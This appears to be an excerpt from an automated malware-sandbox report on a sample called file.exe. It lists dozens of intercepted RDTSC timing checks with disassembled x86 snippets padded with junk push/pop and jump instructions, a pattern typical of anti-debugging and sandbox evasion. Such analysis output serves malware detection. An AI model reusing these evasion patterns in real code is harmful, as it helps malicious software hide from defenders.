Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 44732D second address: 447347 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F06147E6002h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 447347 second address: 447364 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC31h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 448A5E second address: 448A77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F06147E6004h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 44AFF2 second address: 44AFF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 44AFF8 second address: 44B01C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F06147E6007h 0x0000000b jbe 00007F06147E5FF6h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 44B01C second address: 44B022 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 44B022 second address: 44B02C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F06147E5FF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 44B02C second address: 44B030 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 44B030 second address: 44B040 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 44B040 second address: 44B048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 44C686 second address: 44C69C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E6000h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 454333 second address: 454337 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 45449F second address: 4544BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E5FFDh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push edx 0x0000000d pop edx 0x0000000e jne 00007F06147E5FF6h 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 45460E second address: 45461E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC2Bh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4548FC second address: 454927 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F06147E5FFEh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F06147E5FFFh 0x00000013 jp 00007F06147E5FF6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 454927 second address: 45492F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 45492F second address: 45493E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F06147E5FFAh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 45982C second address: 45983D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F061450AC26h 0x00000009 jl 00007F061450AC26h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4594E4 second address: 45951D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jp 00007F06147E5FF6h 0x0000000b js 00007F06147E5FF6h 0x00000011 jc 00007F06147E5FF6h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pushad 0x0000001b push ebx 0x0000001c js 00007F06147E5FF6h 0x00000022 pushad 0x00000023 popad 0x00000024 pop ebx 0x00000025 pushad 0x00000026 jmp 00007F06147E6001h 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 45951D second address: 459548 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F061450AC26h 0x0000000a popad 0x0000000b push edx 0x0000000c jmp 00007F061450AC30h 0x00000011 jmp 00007F061450AC2Ah 0x00000016 pop edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push edx 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46CF95 second address: 46CFAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edx 0x00000006 jmp 00007F06147E5FFEh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46CFAB second address: 46CFB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46CFB0 second address: 46CFC6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F06147E5FFCh 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46CFC6 second address: 46CFCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46CFCA second address: 46CFFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F06147E600Dh 0x00000010 push eax 0x00000011 push edx 0x00000012 jp 00007F06147E5FF6h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46CFFB second address: 46D005 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F061450AC26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 47A4DD second address: 47A517 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F06147E5FF6h 0x00000008 jmp 00007F06147E6009h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jno 00007F06147E5FF8h 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F06147E5FFDh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 47A517 second address: 47A528 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push esi 0x00000008 pushad 0x00000009 ja 00007F061450AC26h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 47E46B second address: 47E47B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jo 00007F06147E5FF6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 47E47B second address: 47E481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 47E481 second address: 47E49E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007F06147E5FF6h 0x0000000d jmp 00007F06147E6000h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 47E49E second address: 47E4A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 493715 second address: 49371B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49888E second address: 4988A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC30h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4988A4 second address: 4988A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 497912 second address: 497925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b jng 00007F061450AC32h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 497ABB second address: 497ABF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 497ABF second address: 497AC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 497AC5 second address: 497ACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 497D47 second address: 497D4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 497D4C second address: 497D51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49819C second address: 4981A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4981A0 second address: 4981BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E6009h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4985BE second address: 4985D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F061450AC2Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49A118 second address: 49A121 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49CD6B second address: 49CD86 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F061450AC26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F061450AC2Fh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49CD86 second address: 49CD98 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jp 00007F06147E6008h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49CD98 second address: 49CD9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49CD9C second address: 49CDA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49CDA0 second address: 49CDAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4A0733 second address: 4A073F instructions: 0x00000000 rdtsc 0x00000002 jo 00007F06147E5FF6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B40035 second address: 4B400B8 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F061450AC35h 0x00000008 or esi, 2E746336h 0x0000000e jmp 00007F061450AC31h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 push eax 0x00000018 pushad 0x00000019 call 00007F061450AC37h 0x0000001e jmp 00007F061450AC38h 0x00000023 pop ecx 0x00000024 mov ecx, edi 0x00000026 popad 0x00000027 xchg eax, ebp 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F061450AC38h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B7005D second address: 4B70061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B70061 second address: 4B70067 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B70067 second address: 4B70076 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F06147E5FFBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B70076 second address: 4B7007A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B000FF second address: 4B00105 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00105 second address: 4B00109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00109 second address: 4B0011A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d pop edx 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B0011A second address: 4B00136 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F061450AC38h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B20C4D second address: 4B20C69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F06147E6008h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B20C69 second address: 4B20CA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F061450AC32h 0x00000015 adc esi, 267730A8h 0x0000001b jmp 00007F061450AC2Bh 0x00000020 popfd 0x00000021 pushad 0x00000022 popad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B20CA6 second address: 4B20CE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 13D8h 0x00000007 jmp 00007F06147E6001h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F06147E5FFEh 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F06147E5FFAh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B20CE0 second address: 4B20CEF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B20CEF second address: 4B20CF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B20CF5 second address: 4B20CF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B2080A second address: 4B20837 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ebx 0x00000006 push esi 0x00000007 pop ebx 0x00000008 pop esi 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b jmp 00007F06147E6001h 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F06147E5FFDh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B20837 second address: 4B2083D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B2083D second address: 4B20841 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B20841 second address: 4B20859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c call 00007F061450AC2Bh 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B206DA second address: 4B206EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 movzx ecx, di 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 mov edi, esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B20498 second address: 4B2049D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B2049D second address: 4B204BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cx, dx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F06147E6000h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B204BC second address: 4B204C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B204C2 second address: 4B204E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E5FFEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f movsx edi, cx 0x00000012 mov ecx, 15FC6CF5h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B204E3 second address: 4B20502 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, F2h 0x00000005 movzx esi, di 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F061450AC30h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B20502 second address: 4B20529 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E5FFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F06147E6005h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B30313 second address: 4B30321 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F061450AC2Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B30321 second address: 4B30379 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F06147E5FFCh 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007F06147E6000h 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F06147E5FFDh 0x00000021 sub ax, A116h 0x00000026 jmp 00007F06147E6001h 0x0000002b popfd 0x0000002c mov esi, 39F83787h 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B30379 second address: 4B30395 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F061450AC2Dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B30395 second address: 4B30399 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B30399 second address: 4B3039F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B60EB7 second address: 4B60F14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 912Ah 0x00000007 pushfd 0x00000008 jmp 00007F06147E5FFBh 0x0000000d and ch, FFFFFFCEh 0x00000010 jmp 00007F06147E6009h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a jmp 00007F06147E5FFEh 0x0000001f push eax 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F06147E6007h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B60F14 second address: 4B60F4D instructions: 0x00000000 rdtsc 0x00000002 movzx esi, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F061450AC37h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F061450AC35h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B60F4D second address: 4B60F99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 pushfd 0x00000007 jmp 00007F06147E6008h 0x0000000c xor esi, 7580E898h 0x00000012 jmp 00007F06147E5FFBh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b pop ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F06147E6005h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B4038E second address: 4B40394 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B40394 second address: 4B403CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E5FFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov al, 3Eh 0x0000000f popad 0x00000010 push eax 0x00000011 jmp 00007F06147E5FFDh 0x00000016 xchg eax, ebp 0x00000017 jmp 00007F06147E5FFEh 0x0000001c mov ebp, esp 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B403CE second address: 4B403D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cx, di 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B403D6 second address: 4B403DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B30F1C second address: 4B30F34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F061450AC34h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B40246 second address: 4B4024A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B4024A second address: 4B40265 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B40265 second address: 4B4026B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
